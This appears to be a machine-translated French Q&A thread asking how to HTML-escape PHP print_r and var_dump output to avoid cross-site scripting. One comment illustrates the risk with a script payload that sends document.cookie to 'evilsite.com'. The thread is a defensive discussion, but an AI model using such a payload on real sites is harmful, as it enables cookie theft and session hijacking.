var_dump ou print_r et de codage html

<?php 

$x = array("<b>","<i>","b","i","<h1>hello</h1>");
print_r ($x);
echo "<hr>";
var_dump ($x);

sorties présent dans la source html!

Array
(
    [0] => <b>
    [1] => <i>
    [2] => b
    [3] => i
    [4] => <h1>hello</h1>
)
<hr>array(5) {
  [0]=>
  string(3) "<b>"
  [1]=>
  string(3) "<i>"
  [2]=>
  string(1) "b"
  [3]=>
  string(1) "i"
  [4]=>
  string(14) "<h1>hello</h1>"
}

évidemment, j'aurais pu être XSS ed par qui!

Comment puis-je m'assurer que le tableau de valeurs sont htmlencoded?

  • Je ne comprends pas ce que vous essayez de faire. print_r et var_dump sont destinés à être utilisés à des fins de débogage afin de XSS ne devrait pas être un problème lorsque vous les utilisez.
  • disons que vous êtes la lecture de certains utilisateur a fourni une valeur à partir de votre propre base de données. et vous êtes en mode de débogage, vous venez arrivé d'exécuter print_r($userdata) et l'une des valeurs dans $userdata contient quelque chose comme [script]de la fenêtre.emplacement.href="evilsite.com?cookies="+document.les cookies"[/script].
  • Eh bien, puisque vous êtes l'un de débogage, vous savez probablement de ne pas cliquer sur le vous êtes le 1000000 ième visiteur d'une bannière ou d'accepter le suspect de l'applet Java, de sorte que vous sera probablement très bien. Si vous êtes inquiet tho vous pouvez toujours remplacer les données avec certains faux texte ou écrire votre remporté la sortie de débogage de la routine.
  • AverageJoe - assurez-vous de se méfier de toutes les données, même si c'est dans votre base de données. Utiliser htmlspecialchars comme @knittl indiqué ci-dessous.
  • c'est justement l'idée! Je ne suis pas sûr pourquoi vous avez fait ce point. Ma question était de savoir comment obtenir htmlentities appliquée ici dans var_dump et print_r de sorte que nous n'avons pas XSS ed! Knittl compris la question.
  • Il était destiné à être une réponse à @AndreasHagen qui n'était pas sûr que vous besoin de cette précaution.

InformationsquelleAutor Average Joe | 2012-04-07